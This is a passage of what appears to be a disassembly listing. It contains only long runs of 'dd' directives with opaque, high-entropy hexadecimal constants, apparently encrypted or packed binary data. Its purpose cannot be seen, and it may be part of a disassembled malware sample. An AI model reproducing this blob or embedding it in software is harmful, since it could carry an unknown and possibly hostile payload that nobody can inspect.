		dd 8CF30C9Eh, 66364991h, 29360618h, 257CB00Ch, 1603E10h
		dd 7090C90Bh, 96130C20h, 0EB1C4336h, 43C37701h,	89F5F814h
		dd 0D25547Ch, 0BDDE34E2h, 16BFB368h, 0C6A9C80Fh, 9282F477h
		dd 40BFFA3Ch, 0E6048118h, 47E1522Bh, 28FC09EBh,	0D4BDE720h
		dd 5C601953h, 0F56E3FAAh, 74E91323h, 8F79A9F0h,	64BAD6A2h
		dd 0EFFC11Fh, 19EB4DD7h, 0B75320DDh, 23DB1102h,	0E303E9C1h
		dd 0E1DE03A7h, 6D1D397Ch, 5AE2F1B0h, 0C175272Dh, 6A03C3h
		dd 7800511h, 3500534Fh,	17205982h, 2C44A02Dh, 42AA98BCh
		dd 99D95EF3h, 0D42A2EACh, 6444599Fh, 1730E8ECh,	4EC1478Fh
		dd 0EA0486A1h, 65A47327h, 5A2716B8h, 8B922C4Ch,	301B602Ah
		dd 5AAC874Ah, 56FCD3DFh, 551805D9h, 946F8251h, 0A8045900h
		dd 7CB5F452h, 983F256Bh, 9D9F70D1h, 6AAD5C20h, 0A5969924h
		dd 4C9D1E1Eh, 23832D0Eh, 8AD996BBh, 470D751Fh, 0C550090Ah
		dd 0E7F15895h, 98DE096Ah, 31B5E2A3h, 2B23EDF1h,	227F8FE1h
		dd 54C189F8h, 28707A5Eh, 96264A68h, 2CB3903Eh, 8D12CA5Dh
		dd 0DA1042AFh, 870585Bh, 9D63EFF8h, 0C1926818h,	237F08BBh
		dd 89AD808Ch, 1A3AD89Dh, 13C51240h, 0EEAF65EAh,	0E45C4719h
		dd 4BA2347Ah, 2A05BBA8h, 0B3DFD5EEh, 3B680D86h,	0A2C6A72Fh
		dd 5D78B288h, 0B5CA0D02h, 45198175h, 6F3CDA28h,	27DEE110h
		dd 17A7F121h, 0A8A352FBh, 722E81BDh, 8403F75h, 137F510Fh
		dd 0F354292Fh, 0A10C4159h, 11B51C10h, 5AB24AAAh, 0AFF40836h
		dd 2B62913h, 71512D0Eh,	56535741h, 0B5B64152h, 4406B2Eh
		dd 0D426D55Bh, 73C27D29h, 2FCC951Dh, 835DEE07h,	6CF402C6h
		dd 0B747FF93h, 77BC27D5h, 0FB73D2DCh, 8883E675h, 89190944h
		dd 40405DEFh, 45595568h, 4D098030h, 27C10764h, 9DF908EAh
		dd 0C955CA73h, 230217Dh, 91591ABh, 34DD40E4h, 0BB530072h
		dd 18CA3E72h, 0EA5AFDE9h, 73CF0C67h, 0FFC24E62h, 0DC96596h
		dd 81EF725Ch, 287BE4F7h, 104F69C5h, 17F484E8h, 0C4EEA9B2h
		dd 77A0F7E9h, 68C22680h, 0AFC52C96h, 5C70E914h,	0EAB0A297h
		dd 55185FA5h, 0B4B7194Dh, 5E344761h, 0D12D7302h, 34B56171h
		dd 907943E4h, 12C18ADh,	5FE91841h, 0BBCA3F3Eh, 5D05129h
		dd 0B0B30408h, 4A9A9117h, 0F3903472h, 7D094098h, 3261DD5Dh
		dd 7F80D54Ch, 15827312h, 2AD00176h, 420C6008h, 14564D7Fh
		dd 991BC068h, 5F34E9C5h, 5BFC49D1h, 9D8B9CD5h, 9CB8BEB0h
		dd 0D2623304h, 5BE966E9h, 0F85EF212h, 397509E2h, 17515h
		dd 355AE94Bh, 27596C47h, 13B64407h, 0FA1F7258h,	152BA901h
		dd 190318F6h, 8F3EB8E9h, 9DEC5D24h, 4E3A7827h, 0CA19B289h
		dd 6102AE51h, 0D063E460h, 0B1AA0996h, 5C8EBE0Ah, 0D1E3533Dh
		dd 213A65CEh
		dd 0D2B42E07h, 99381D01h, 4492BC63h, 0CBF1813h,	0ED30EEDDh
		dd 19AA9284h, 10F1A66h,	8095EFDh, 8969E354h, 0D0D2DE24h
		dd 194B4EE9h, 8629E589h, 6019E3D2h, 0B1D8418h, 0DD29342Ch
		dd 8081382h, 591DACA2h,	5DAFF889h, 12276014h, 0E5006885h
		dd 9506A0ABh, 305782D5h, 8071194Eh, 80040AB3h, 0E3C016CBh
		dd 984D52C1h, 6BCCFE01h, 0B8ECE0E5h, 2D669D0Fh,	26A011F4h
		dd 5F9E70F3h, 0A6A88544h, 5E17E834h, 858B967Dh,	2F65F14Ch
		dd 0A661698Dh, 0E9E0C868h, 61822D76h, 0C87429D1h, 0AC14809h
		dd 43D987B0h, 0CBE43173h, 3EB208D4h, 935F167Bh,	1645704h
		dd 5610B7B3h, 48958E6h,	165D600Bh, 291EC7ECh, 0BAEECEFEh
		dd 877203A0h, 0CCF35EF7h, 5F7135C0h, 0BA53215Ah, 6BEDFB0Bh
		dd 40E6B898h, 0C1E607Ch, 739513AAh, 9C7562C7h, 0EA88834h
		dd 0BE6911h, 0B8DF49EEh, 0B1F231DDh, 94540849h,	38C95A2Dh
		dd 0D01DDF04h, 0F3692D2Ch, 0AFD754B4h, 3C5B76DEh, 0BA045214h
		dd 0BF0263Ah, 4094A780h, 0E91615FCh, 0D948DF17h, 0C173C2E4h
		dd 93E7D20Eh, 0FE0085D3h, 0A422C905h, 58C1FF44h, 0E91A28EEh
		dd 25EC6D24h, 10696667h, 0C96FC132h, 0E800C33Dh, 3C462A56h
		dd 61C7813Eh, 1E60E903h, 8101356Fh, 349386B6h, 3D412576h
		dd 3595CDEBh, 6A074EE8h, 601B0364h, 5C31595Bh, 0A59C11BAh
		dd 1420DF68h, 0D42CD084h, 89885209h, 0B576A82Bh, 0A67E062Ch
		dd 6947D24Bh, 0B2F36F6h, 0F7E50121h, 953052D7h,	3129819Fh
		dd 42826E76h, 251C5E42h, 634C58F1h, 0A9BA4DE9h,	79D5BB02h
		dd 0AD767E2Eh, 3BF9B588h, 4DF17879h, 1F5B1D72h,	0B18BA51Eh
		dd 37A2AFCh, 761D9ED4h,	71300719h, 0C25A743Ah, 0CC5F1CCCh
		dd 0B3E9C0Ah, 0C77363F7h, 0C9587949h, 14196E41h, 9984C1BCh
		dd 762D0B0Ah, 2792A0CBh, 62A28245h, 24D5B9FAh, 7D01C0Ch
		dd 0A8229E68h, 8BD0F6EEh, 0F9361FD8h, 4D5B642Ch, 0DBF70700h
		dd 0BDA9DCE9h, 1447A266h, 0B909F84Bh, 0CB119520h, 0D3E9ED1Fh
		dd 6822605Bh, 76661427h, 48CCC093h, 0BE051CF2h,	0DC464F35h
		dd 0EE6E85AEh, 0FB633F31h, 19176800h, 4FBDAAA6h, 64792DF7h
		dd 0CEBD5193h, 0F1DEE9B0h, 0BD80E4B5h, 0A58978E5h, 7A723BBh
		dd 450A306Eh, 56194FE2h, 0F22D4302h, 0C13C9808h, 74005CFh
		dd 9DD1685Dh, 0BA75A989h, 73095F33h, 553F368h, 0D02816C1h
		dd 2CC8665Ah, 74F0E061h, 0F692EC04h, 6BD2F68h, 0E92111B6h
		dd 524AC902h, 7F8405C2h, 895DB579h, 516D9C7Fh, 685500B6h
		dd 2F917E3Dh, 0C1315D26h, 4B08EB19h, 0A3D8F02Fh, 0F3381B41h
		dd 682F0F20h, 4BEF725Dh, 25A180B2h, 76012264h, 3A570549h
		dd 0E1D4096Eh, 0FED50518h, 0BF10EFE9h, 0B4042C53h, 904AD1Fh
		dd 80C0AEDAh, 7EF6F7CDh, 0EFF02CDEh, 24D9BF7h, 0E3D0F5CAh
		dd 0EBDDF1B5h, 251758FCh, 41BBAC84h, 0F7FBC6F2h, 0C36870CCh
		dd 0E9842394h, 1BE8FAD0h, 510E85D0h, 0CB4BE188h, 0E92C8B06h
		dd 923A1025h, 6558C034h, 4663F41h, 0E44E6B17h, 0EA88CE05h
		dd 8E480634h, 0A4FA294Ah, 0C15F0880h, 0D102E209h, 50D52EAh
		dd 0C3A32E2Bh, 164CE229h, 2618F0Bh, 0C82BAF0Fh,	6C40BDD7h
		dd 74F19758h, 0D8746302h, 773B6011h, 613C58F1h,	8ECFC824h
		dd 0F700DBB7h, 7E7C05Ah, 0F000F895h, 0B65225B8h, 0D7C01409h
		dd 416E828h, 0AECC599Eh, 0D05B00B2h, 98CA80E2h,	0E913DAF6h
		dd 0B2537E39h, 0C73FCBA6h, 0FA06F412h, 0CA4EF3Dh, 0E956582Fh
		dd 2B316525h, 0AE205503h, 188D2D5Bh, 0B657D424h, 5D7607A0h
		dd 4D23E709h, 8635E60h,	0AB2C9841h, 452D7EEBh, 819C5721h
		dd 9BA526Fh, 2D21340h, 12A1766h, 84710D6h, 37155A4Eh, 0E8AD70E5h
		dd 4B436881h, 0F48DD41Bh, 15177F72h, 54087B28h,	54003A4h
		dd 42BA2A20h, 98464D7h,	3628746Fh, 0B90436F8h, 0D7098701h
		dd 476082ABh, 0C7B5A5C0h, 8CE8BE81h, 29341315h,	81DF2DD6h
		dd 5DC92FA6h, 0E63921E7h, 404EC95Fh, 4A728513h,	3A205D7Bh
		dd 0FA013B1Ch, 88AB3597h, 59972796h, 32CF88C9h,	80D4F607h
		dd 0E728BBA0h, 0FD300758h, 0BEC5FE5Bh, 2B07D349h, 0AEEE621Eh
		dd 664400DFh, 3B8FB753h, 5B3FFE08h, 693F619h, 5A7B3016h
		dd 2C4CE8E0h, 0E4BA1058h, 0F57E052Dh, 69FA5593h, 0A4FF3CC1h
		dd 1A3FE0C1h, 0C72FE006h, 26B9D1F7h, 0A7700B5Bh, 712BB0E8h
		dd 72975A73h, 400882C0h, 865434C0h, 27F24EBDh, 0F212ACC3h
		dd 4C72B0DFh, 896681EFh, 0DD69E864h, 0ACC01430h, 0EC6B669Bh
		dd 0B7A72CD1h, 0D01444F7h, 43DB6899h, 2F616695h, 8BDBC217h
		dd 148D32B1h, 9D03F26Fh, 6A972062h, 919D09Fh, 4C6F7818h
		dd 0D83FAE5Eh, 761E6B74h, 1F6D050Dh, 0F9AF09AAh, 62772BC2h
		dd 95C1503Ch, 0F5185DC7h, 4A80E991h, 0C999AC2Dh, 0D2310252h
		dd 2EB075CFh, 8916B951h, 0BA006A59h, 0C12901EFh, 0EB0CC072h
		dd 0E93DD14Eh, 756DDF4Dh, 56C33669h, 0A0976E35h, 0D0590104h
		dd 2DEAA4F3h, 918D6B9Fh, 932DFC6h, 3CFE146Ch, 90361DD7h
		dd 7F45BD0Ch, 2FA2C3A0h, 2E09272Fh, 65B77150h, 0FE693477h
		dd 0F882B7C9h, 218015FCh, 0AEB76075h, 0D6F3CAAFh, 0D3CE0817h
		dd 57DF6BA2h, 8FB05092h, 3CF50780h, 0B259EA28h,	37105A5h
		dd 12725388h, 32280D30h, 440DAF06h, 83E8B550h, 37AC7EB0h
		dd 0BA28517Dh, 80BF7A02h, 5C583D8Eh, 329C9D7Eh,	305A0F81h
		dd 7C4EB66Fh, 0CC2F56A7h, 0A64B4BC3h, 54D8AEADh, 82BD1396h
		dd 0FFB4D32Fh, 0CC90AC18h, 50619195h, 0BA145B21h, 39CC87FFh
		dd 7205F58h, 1DB22727h,	869A1440h, 0FEA8D281h, 69042793h
		dd 5EA873FBh, 3324DF4Bh, 1DBCBAFh, 76C2BD55h, 93600503h
		dd 4A3573C5h, 74D0A808h, 82892549h, 0D610C768h,	0F4166245h
		dd 8949E3F4h, 0E99763D3h, 22468BBh, 5B67F8F5h, 6F1B28F4h
		dd 9033585Bh, 0F4CC842Ch, 291E6283h, 3BAF0878h,	44509405h
		dd 17B90BBFh, 407E51D8h, 89395EF9h, 815F89F2h, 0DD6007CAh
		dd 6DD04AA5h, 2D7DC7EAh, 17F82D49h, 88E8555Bh, 3369B34Fh
		dd 204BC758h, 0B00FC00Ch, 0C0C330ABh, 0E380D3F6h, 0AFE1E7EEh
		dd 2CF3047Bh, 21BCB529h, 0D4C121h, 2F5CB768h, 0C31A0F25h
		dd 554EBB03h, 663552C8h, 5F96391Fh, 101E88Fh, 47140277h
		dd 4105C840h, 46903E40h, 97D6E505h, 0C067C48Dh,	5396F7CFh
		dd 6825AF78h, 0A6EBF976h, 0BCE01292h, 22A5D6F8h, 51823684h
		dd 8699F0AAh, 71EDB009h, 0B3BC7701h, 0D9255B50h, 3D8C1A4Eh
		dd 0E2264F13h, 0CE12DEBEh, 4DD7808h, 0E1E5305Ah, 0F9D97EFFh
		dd 9759E8F0h, 8B6E2879h, 4A7D8968h, 0B7CE4111h,	0FF7E160h
		dd 5BFA88AFh, 0B8D3133Dh, 0E95A04CCh, 0CD8DA798h, 0C4A7B22Fh
		dd 9F81C138h, 9B8F6765h, 28CDEF80h, 0DEE2D950h,	2535FC41h
		dd 0F1F22E0Bh, 0D7604A1Ch, 3546F008h, 5D8D7EE5h, 0FA54ACE5h
		dd 3BB6EF01h, 526170FAh, 4458857Eh, 12A35AFh, 0D1885153h
		dd 0B421CFC9h, 0F6B5102Ch, 0ED5A10D6h, 813E04Eh, 6894F0F2h
		dd 5CC6F03Eh, 9D227571h, 565C7C40h, 3514020h, 233A355Bh
		dd 8E0734C8h, 0EC6F2D02h, 55319952h, 72669702h,	544EFEC6h
		dd 0EAD343A2h, 2E8096Ch, 68C8310Ch, 8C561052h, 34825645h
		dd 0C67309A6h, 5362C028h, 0C71CF20h, 0BF48460h,	380C2360h
		dd 0BD12DA31h, 1EB0F7C5h, 0B588A78h, 36CE94Ah, 18E4B05Eh
		dd 0F16FB2A4h, 62D660ADh, 219AF9EAh, 6D29758Ah,	719D9657h
		dd 4923B411h
		dd 0FB024174h, 4207CB0Fh, 7CB0820Dh, 0CF43DD06h, 0CC08E638h
		dd 0EC845B2Ch, 77BDC0FEh, 0D80FD16Dh, 48E9E889h, 0EAC10418h
		dd 8EBCB402h, 3FDBE17h,	9CEB1234h, 0C758E925h, 62AD909Dh
		dd 41506406h, 0B13ACF85h, 65BEF16Bh, 51342A34h,	94A5B50Ah
		dd 69EE8181h, 0F8F2B572h, 69D89517h, 58EB84D3h,	49A80C78h
		dd 0E97C5209h, 0E3372B6Ah, 0CA1BC29Ch, 0EB1C0434h, 0C7058EAh
		dd 3F2E118Dh, 82C95048h, 6D1D4D2h, 0A320445Eh, 0A35F6165h
		dd 761C4F21h, 0B3D45059h, 6B6B3B9Ch, 4A3DA663h,	0D3C46759h
		dd 1A2D813Fh, 0F06B2E58h, 536A3664h, 1F7F4AB4h,	531D4EF6h
		dd 0A6AFC586h, 0C0FE092Fh, 0EBF6832Ch, 0AFC3832Eh, 0F9CAB32Eh
		dd 0C609EC4Bh, 4B6936E9h, 9226A250h, 9BB09CC4h,	2929C922h
		dd 22F7BCCAh, 5CE073BEh, 7B66EF79h, 0C10317B6h,	36F55AA3h
		dd 0D2F6E15Eh, 6523D12Fh, 8B14C538h, 0DBBC9346h, 8C97BD52h
		dd 0C131AB82h, 0BF00B4C1h, 353D247Ah, 4FE73B2Bh, 5C34D049h
		dd 0D8074301h, 0BD070D5Fh, 5EE77240h, 2C6852E1h, 3E34D1CEh
		dd 3D363F79h, 0CC515F1Dh, 812E8FB9h, 7A2EE118h,	41D7F10Ah
		dd 48BD6044h, 0CF3021FEh, 56F71259h, 0EC82D64Fh, 22D1103Ah
		dd 0D436865Fh, 0D2707D01h, 58C2213Bh, 0CB29A02Eh, 71412E00h
		dd 505527BFh, 8FE9150Fh, 0EA20B4E1h, 7142F2B7h,	0B689495Dh
		dd 3E6868CFh, 3CF6B688h, 100DE6DAh, 0B84E80ECh,	9F939E7Ah
		dd 0E5209FE1h, 40EEF0F9h, 44B830Bh, 0E266D131h,	0BDCE8000h
		dd 0FEEE06C7h, 891E1D6Fh, 0C36E6CCh, 0F3880045h, 0C0EBD05Ah
		dd 0CBFC05E3h, 6941FD48h, 4EC0058h, 74D02867h, 5AF9E52Ch
		dd 13488C28h, 59127920h, 2DAED030h, 2A6861B6h, 0BD8944D1h
		dd 0D12C2EB8h, 8BF10E89h, 92601D7Fh, 0FE2504C9h, 3999BF21h
		dd 3647293Fh, 0ABBC5B59h, 4817A410h, 1F080238h,	77893516h
		dd 0E7C11D30h, 0EF07B1B0h, 424DEB7Bh, 409CC660h, 503E5F83h
		dd 994B08F7h, 4584C367h, 5DEB6F63h, 0A08BD779h,	0E1956402h
		dd 999A918Dh, 8813F358h, 205562EAh, 0B8A9F666h,	0F77813ADh
		dd 9262EAD6h, 546ACABCh, 0E7F3E930h, 0EF12BA0Ch, 0B37A9FC3h
		dd 0C4584596h, 4155160Ch, 0FBA05356h, 0B4C0A104h, 0F432E81Eh
		dd 0F48A4FA6h, 777EC678h, 0AF274C7Bh, 0D2BE22F5h, 0C6800191h
		dd 8E5430BEh, 501EF3E0h, 0C4CB64B4h, 99C84C7h, 0EEED1DAAh
		dd 70210E2h, 20478F5Fh,	0D4403B95h, 0EB11A8BBh,	98AEA67Eh
		dd 3DC80268h, 9AE90B21h, 94F586CAh, 49AD4A9Ah, 0D60ED7FFh
		dd 6075B492h, 0B9512BC0h, 134E59AEh, 64CE2901h,	8718FFB5h
		dd 276844E8h, 657C636Fh, 428F5702h, 54216038h, 12D824E9h
		dd 0ED3CCF44h, 0B357F942h, 9EA2E176h, 6BD8281h,	6E2ACA77h
		dd 0DFE04417h, 71A14E59h, 3FDA6817h, 0B33A2699h, 9EFD5B1Ah
		dd 5531A05Bh, 932A925Dh, 0DAFA26FBh, 6B4D30C3h,	0BDA98E68h
		dd 0DA9871D2h, 3D8AB05Fh, 0BE38015h, 0C7D05289h, 0C2E9350Dh
		dd 25F8208Ch, 81A8582Ch, 0F726AC20h, 1C0E4FD7h,	0A0DD263h
		dd 106A9B48h, 67C4957Bh, 5E51D1BFh, 6510E159h, 428E2EAEh
		dd 0E4FBBD5Bh, 0C88B313h, 940BB759h, 76728054h,	0F1CC8CDAh
		dd 0FB97EE27h, 87273FCCh, 0DCB99CC1h, 0F58EB60h, 149E0409h
		dd 86F85F52h, 48C37F10h, 2DE3D633h, 80C44940h, 0F3956354h
		dd 0B55969C8h, 3EE1FB25h, 45B26D2Ch, 4E5BF9F7h,	0C714CD88h
		dd 0EBF580C5h, 0CFB67B03h, 8C16D0E1h, 0EF215E58h, 52C140C7h
		dd 0B9C2B3B4h, 3C06F97Dh, 0B20A0817h, 884E7852h, 25FEC150h
		dd 8460FC58h, 0C32BB151h, 77B03D7h, 0C7A186F4h,	71BA20F6h
		dd 0B4B6014Eh, 7759B118h, 0F681EAB0h, 6715B369h, 805FEE20h
		dd 922F27B4h, 277B4A58h, 1E97D961h, 15774950h, 0C97F1BD5h
		dd 31011EE6h, 94A16FD2h, 9766B36Bh, 16DE3E54h, 0E3D1E5A2h
		dd 0FE74CAB7h, 0E1C50581h, 0A91D4605h, 0E08412Ah, 0D1A012DCh
		dd 0BD0260F2h, 785C7A93h, 0F730BF50h, 9E5742DDh, 0C6D64AC6h
		dd 584F58DFh, 963C8DD8h, 5F9A3A0Bh, 80565360h, 856BF100h
		dd 4F01AF22h, 0E14DACCAh, 652B02C2h, 0A6B4323Ch, 558FDC8h
		dd 2475DAB7h, 1761D001h, 73F79795h, 0E0CC6C3h, 691C6F09h
		dd 4683415Dh, 26A39735h, 0F4520E68h, 7ADF2A89h,	42360B50h
		dd 1AD753DEh, 42685D34h, 0B92764C9h, 21898606h,	974D2782h
		dd 1E2F8D53h, 95EAEC7Fh, 8C44AEBAh, 7015E03h, 98ED355Bh
		dd 0B8051D1Eh, 0B587214h, 84FE940h, 0F397E444h,	20F4A59Ah
		dd 5FA1DAB1h, 9B315475h, 192B43Eh, 0A557FB3Fh, 400EFA61h
		dd 8A97A11Ch, 66937B7Fh, 7EF06304h, 2825FAE2h, 0BC20A570h
		dd 0E58825D9h, 0CBD35450h, 97BE3BCh, 7F9DE92Bh,	76BF3CC8h
		dd 0D8FF1171h, 7AB41768h, 359D046Fh, 0F5C4D4ECh, 0C7CDBBC8h
		dd 0AA28CAE5h, 352124h,	0ABBE581h, 0DFA30F2Ah, 155D692Eh
		dd 8595D444h, 0FCD02DEBh, 48926E27h, 0EE902590h, 0DA2B6600h
		dd 0E9F02921h, 3FE16020h, 5B12B1F7h, 0A0C73A4Eh, 3250AF8Fh
		dd 281DBAA0h, 9D67D18h,	0DAE95FF8h, 45575AE2h, 60F29C62h
		dd 5E4DB198h, 0E6012EB3h, 1E85FF69h, 0BC82ABFBh, 0DE17C853h
		dd 29151256h, 717105Ah,	0D7015B0Fh, 5510E154h, 25583BA6h
		dd 9D335870h, 500012E5h, 0FB035268h, 8E2ACF09h,	93564E10h
		dd 4A9D8B82h, 0CF3D49Fh, 0EDCF7677h, 0B3845A97h, 7C82D29h
		dd 8080EF26h, 29F178F6h, 4A83DB6Fh, 60181FC7h, 5BD36815h
		dd 0A2B884F7h, 0A535CDAFh, 70387439h, 0F9955FFEh, 78E9E140h
		dd 0C4BD2CF3h, 8514A0D7h, 22F90716h, 0B0A08759h, 169F318Fh
		dd 98F8E695h, 1B6450FDh, 3A794120h, 28B54401h, 59D12CE8h
		dd 0C79FF028h, 86618724h, 0E9124B66h, 614E93F7h, 8D3CDDDh
		dd 2E35D060h, 2D639C83h, 0BAF00164h, 82D27E82h,	1CC2663Dh
		dd 7FA6EED4h, 5B042310h, 0FB6C6068h, 34AA6C34h,	1190AF82h
		dd 0A9BBD6E9h, 1420E3E6h, 40615A4Dh, 7E0F7512h,	0D37D0117h
		dd 21919EE4h, 0EF880A0Dh, 402DA9Dh, 0BC721A68h,	5D798623h
		dd 0EE170ADh, 0C1346515h, 0C23F02CFh, 2C429E7Dh, 95B5740h
		dd 2969BA09h, 80188CAh,	2025913h, 4A5AE956h, 537BFC85h
		dd 6E9486F1h, 49BC5892h, 946FBAFEh, 0D684EA28h,	0C86781BFh
		dd 0FAD13ECCh, 0A5681A26h, 8456A2E5h, 0A2A11DE9h, 10E5DFE6h
		dd 9F4CBBCh, 584BCB02h,	51AB740Fh, 0C22E9772h, 6C1EC8D7h
		dd 0FAD984CBh, 3A9C003Eh, 0E6817F05h, 0C1274249h, 3B86701Fh
		dd 0E90C0102h, 245F9C43h, 0A1754695h, 5629C9C4h, 61D2F203h
		dd 6C0546AAh, 0B3431016h, 4E680AA0h, 584EA34Bh,	0FAA87E50h
		dd 8F975EF3h, 0BA3D66B0h, 6F0C5017h, 5F189558h,	8B97FAE9h
		dd 1081664h, 167E4A05h,	2EE8C128h, 4091ABC0h, 51450912h
		dd 57D282E9h, 410B74B4h, 6B1956B9h, 0AF09E851h,	0AACA94C6h
		dd 0E916F4D4h, 13F1C184h, 0E54D3504h, 80B3B601h, 512D60C6h
		dd 14270794h, 9F91B2FFh, 0F24AEA53h, 9DD831A7h,	642B8365h
		dd 810DC535h, 522BFCEh,	6BB57090h, 6095875h, 3000AE38h
		dd 7E7C15Ch, 4A26E94Fh,	0EC82EEF0h, 0D4733414h,	0D82905E5h
		dd 480A182Dh, 7520064Bh, 2BFC1E2Ah, 0EC0CF00Eh,	102CB061h
		dd 6A03314Fh, 0E869175Dh, 51C07EFh, 7CE93755h, 7826E2E1h
		dd 5D2E64FDh, 346581BFh, 0A60060D1h, 524FE836h,	805BFF5h
		dd 12A9BF05h, 6CC5DDAFh, 1E81A493h, 8C6AF6A0h, 0E2266846h
		dd 4AC1D066h, 0CD42553Ah
		dd 0A1562Dh, 4B3D0605h,	66975F69h, 301AA05Fh, 16B1D3ADh
		dd 75FA8074h, 40F31520h, 137D68Eh, 1CF01C5Ah, 2CD391EEh
		dd 4905E9Fh, 3BFC8B4Dh,	0E1322ACh, 0D9F6F5B1h, 0BA89D149h
		dd 0AA05BFA4h, 8682342Dh, 63C250F7h, 0DCA1CAD5h, 0E95E96CFh
		dd 0B2D925FBh, 6B0C0408h, 0DDFE5F97h, 0F747BCDh, 0D817B33Ch
		dd 3C132C5Ah, 416B7C81h, 1DADC271h, 0AD803E63h,	25891123h
		dd 58E2292Fh, 3B8A0808h, 68D07A81h, 6BCD01AAh, 0E5DC242Ch
		dd 0CBCE839Dh, 0FF61F5Fh, 0FC51D0EBh, 3DB29C58h, 0D53E59Eh
		dd 919E15h, 0B2600FD3h,	789289Dh, 0D6083224h, 0F06025A1h
		dd 71AE9BDCh, 0B0D719Dh, 0F2F1699Eh, 0C02B062h,	0A41CF2D6h
		dd 5CA70D5Bh, 4A712D2Bh, 1698DF09h, 24509508h, 0C8370250h
		dd 70AF85A5h, 0D11725AAh, 550B6B52h, 78299116h,	0F3403F49h
		dd 0EEA3B8D0h, 126E4B04h, 897283D1h, 27923E72h,	0BF8D169Fh
		dd 8FBAF7B0h, 0C2EED3B7h, 0D512B850h, 8F8204E2h, 2CF4E194h
		dd 9FC15065h, 0DC2B17BCh, 9B31689Fh, 8DA76F4Bh,	0BA799A0h
		dd 26DB6D8Ah, 1BC6610h,	599929C4h, 0C4F48807h, 89B4C8E0h
		dd 2519FDEBh, 0C4B16615h, 8003D533h, 0CA8135C1h, 0EE097B59h
		dd 687FE09Dh, 89581CE7h, 0F94FD43h, 459EB75Ch, 8022AE4Bh
		dd 3F721522h, 0B7E91B0Ch, 0BEA7566h, 76E34BBDh,	996CA200h
		dd 31024DC3h, 82685EF2h, 446D5C4Eh, 0F500805Dh,	0A0A4A37h
		dd 0A8E5D12Ah, 5E49A202h, 0E749704Bh, 0E9688C3Ah, 0A685FC4Bh
		dd 0DED998BFh, 4F94F2FAh, 28EA5816h, 2694E8AEh,	4AC9ED12h
		dd 0A0B149E0h, 0B02C75Ch, 0D78975F3h, 0F10C5A04h, 0FA2C2A7Eh
		dd 351D1768h, 0CCD3050Bh, 5534BBA4h, 9320D013h,	2618D5C7h
		dd 175707B1h, 0CD72545Bh, 385EDE5Fh, 55C54AE9h,	0DE10DCAFh
		dd 0DB2119D2h, 0F68C5F1Bh, 0C5AAF829h, 5D13950Bh, 0B074A25Eh
		dd 0C371F66Eh, 0D92DE73Fh, 0C516DC89h, 1342EC01h, 9288B970h
		dd 3F41F9EEh, 9607DA27h, 0AD97DECFh, 4F2F0CECh,	0D7EA59F8h
		dd 0AB6619A0h, 3E5FE9CEh, 79BA6824h, 0E8950472h, 4EA9D489h
		dd 0E9C225A9h, 0E5B1CF8Ah, 29BA5394h, 4A2C8BF1h, 8EA84F33h
		dd 98B708F4h, 44575F09h, 9852EE16h, 0C8FA4E24h,	68185619h
		dd 0AD870B30h, 605682BDh, 5A363501h, 142E8CA3h,	0CB25A919h
		dd 566B2254h, 575CF05Dh, 0C53D469Fh, 5E9DE340h,	90D10B3Fh
		dd 25088D65h, 6852009Ah, 66897703h, 0FD5D3AF6h,	4140BBBh
		dd 3A317425h, 2F70907Eh, 3E5B5E0Eh, 0F610580Bh,	3574400h
		dd 2E1F9268h, 9322D567h, 7CEBA35Bh, 69E4424Eh, 0FF09DC2h
		dd 0AD84CB5h, 0F861D0EDh, 74CD07C7h, 80311408h,	690BFDFDh
		dd 4AB1F35Dh, 0ABC9ABA2h, 0ECB7CF50h, 833B3161h, 2C427F9Fh
		dd 0DDE896A5h, 649250Dh, 8C72BD8Bh, 0C11E808h, 0E15F05D8h
		dd 0D088E97Fh, 50525C9Eh, 0A0B1DDF1h, 7D6FB3DFh, 3FE65761h
		dd 1C7A1210h, 8979F580h, 0D88842C5h, 6F8D29CDh,	0E7463CEh
		dd 0B3530A00h, 80F7B1B6h, 0A0D473F1h, 99D930B3h, 69420BF1h
		dd 19B7C110h, 5BFE881Ch, 0C5D1F317h, 0B2007465h, 64D8B5DAh
		dd 0EED80E4h, 0EF8853A5h, 2BE9F842h, 0D52D0AC8h, 97B1502h
		dd 8905D029h, 0C096FD07h, 0E5E0C34Bh, 2A56416Ah, 828FF5B0h
		dd 0FD92427Fh, 2EAE64C0h, 0FA917A24h, 5239940Fh, 0CFEFCE00h
		dd 0DD0DD132h, 0CA170118h, 0A2DF2968h, 280E818Eh, 895966CEh
		dd 7E3389F0h, 0B5132A1Ch, 164B6A73h, 0FF9755B1h, 0A626F52Ch
		dd 0ED589789h, 9A4A9F34h, 1689E379h, 4CB2D750h,	7FA03463h
		dd 574C70DCh, 0B9807357h, 0E4171E5Dh, 9DB58B38h, 49A8D9C6h
		dd 0F59CA1E6h, 87729C60h, 4A1CFA44h, 0BB8A4EF7h, 0C37D03BAh
		dd 7039FA4Fh, 0A278B781h, 0C79D0B7h, 86D49380h,	0C00A830Eh
		dd 8C0BE901h, 58AFDEA5h, 1CC9D6E2h, 0BAA8F20h, 0B822606Fh
		dd 2578134Eh, 7450709h,	53E04E05h, 0D8B9E9AAh, 0A7EEB1C3h
		dd 0D94E8324h, 13726FD2h, 6F78EA92h, 718028E9h,	3D0BFC1Ah
		dd 41902D36h, 0A1044A1Ah, 0C5E8EFD1h, 6FA8BA80h, 81974A8Bh
		dd 5DEB09F3h, 1637230h,	19441A1h, 0D2E4E9CBh, 349CE7D5h
		dd 612DAB0Ch, 12846738h, 0D0A81255h, 28F8EA0Bh,	36422576h
		dd 645F07FEh, 7F74E130h, 8CBA8875h, 0AC5D68CDh,	6B499EF9h
		dd 403B51E5h, 1C685A54h, 0A2300A4Bh, 0BD55B8h, 14F7816Dh
		dd 0E911D356h, 181BD927h, 805FC5F2h, 5A045952h,	0C1314891h
		dd 2080C86h, 0B12E181h,	244001C9h, 0CE7562D0h, 5AB5E9F8h
		dd 0D591A2DCh, 1985E84Ah, 0F625BFA1h, 0B5E07C1Fh, 0F828D001h
		dd 45BEC2Ch, 7F5E217Fh,	6AA9412h, 0F154737Ch, 2C2902B7h
		dd 4D04143h, 44D77CD2h,	8F32BA54h, 86204155h, 0EBEA8004h
		dd 429813EDh, 899534F8h, 0C15E82BCh, 0FB5D05BEh, 925A6DD8h
		dd 0DDF73BACh, 25C49B94h, 5706F600h, 0F1315F71h, 25E52FCh
		dd 0D83BCFD9h, 6D2456A3h, 0EE067B3Ah, 0F2424E05h, 0B0495ED3h
		dd 0DB975EBFh, 5E0228C8h, 139FE3B4h, 33915DE4h,	7C3C563Bh
		dd 0BC7551CBh, 0E2379891h, 89B272Ch, 337DD662h,	20323865h
